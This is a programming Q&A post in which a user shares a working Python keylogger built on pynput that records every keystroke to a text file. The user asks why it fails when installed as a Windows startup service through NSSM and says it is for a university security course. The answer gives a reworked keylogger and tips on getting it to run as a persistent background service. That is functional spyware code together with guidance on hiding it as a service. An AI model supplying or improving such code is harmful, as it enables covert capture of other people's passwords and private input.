Python executable when run not writing to .txt file on startup

I have a keylogger program which I converted to .exe using pyinstaller then I used NSSM (the Non-Sucking Service Manager) to run the file on startup. The file puts all the keys pressed in a .txt file; however, it doesn’t work at all on startup. When I open Windows services the status is ‘running’ but I don’t see the .txt file being updated. However, when I run the executable myself it works fine.

If anyone is wondering if I am stealing passwords with this than let me just tell you it’s a project for my cyber-security course in university.

import os
from pynput import keyboard

# Set absolute path to the log file
log_file_path = r"F:\Coding\PYTHON-PRACTICE\keylogger\dist\keyfile.txt"

# Ensure the directory exists
os.makedirs(os.path.dirname(log_file_path), exist_ok=True)

# Function to log key presses
def keyPressed(key):
  with open(log_file_path, 'a') as logKey:
    try:
      char = key.char
      logKey.write(char)
    except AttributeError:
      logKey.write(f'[{str(key)}]')

if __name__ == "__main__":
  # Start the listener for key presses
  listener = keyboard.Listener(on_press=keyPressed)
  listener.start()
  listener.join()  # Keep the listener running
import os
import logging
from pynput import keyboard

# Configure logging
log_file_path = r"C:\Path\To\Your\keyfile.txt"  # Update with a proper path accessible by the service
logging.basicConfig(filename=log_file_path, level=logging.INFO, format='%(asctime)s - %(message)s')

# Ensure the directory exists
os.makedirs(os.path.dirname(log_file_path), exist_ok=True)

def keyPressed(key):
    try:
        if hasattr(key, 'char') and key.char:
            logging.info(f'{key.char}')
        else:
            logging.info(f'[{key}]')
    except Exception as e:
        logging.error(f'Error logging key: {e}')

if __name__ == "__main__":
    # Start the listener for key presses
    with keyboard.Listener(on_press=keyPressed) as listener:
        listener.join()

Explanation:

  1. Logging: Instead of manually opening and writing to the file, this version uses Python’s logging module. This approach is more robust and handles file operations better.
  2. Absolute Path: Make sure to use an absolute path for log_file_path that the service has access to.
  3. Error Handling: Added error handling in the keyPressed function to capture and log any issues that might occur.
  4. Permissions: Ensure that the C:\Path\To\Your\ directory has the necessary write permissions for the service account.

Additional Recommendations:

  • Test with a Simpler Service: Create a simpler service (e.g., one that just writes to a file every few seconds) to ensure your NSSM and service setup are correct.
  • Interactive Desktop: If your keylogger needs to interact with the desktop, you might need to configure the service to run interactively or consider alternatives that don’t require such interaction.
  • Service Debugging: Use tools like Event Viewer to check for errors related to the service and see if there are any permissions or execution issues.

By implementing these changes and recommendations, you should be able to troubleshoot and resolve the issues with your keylogger script running as a Windows service.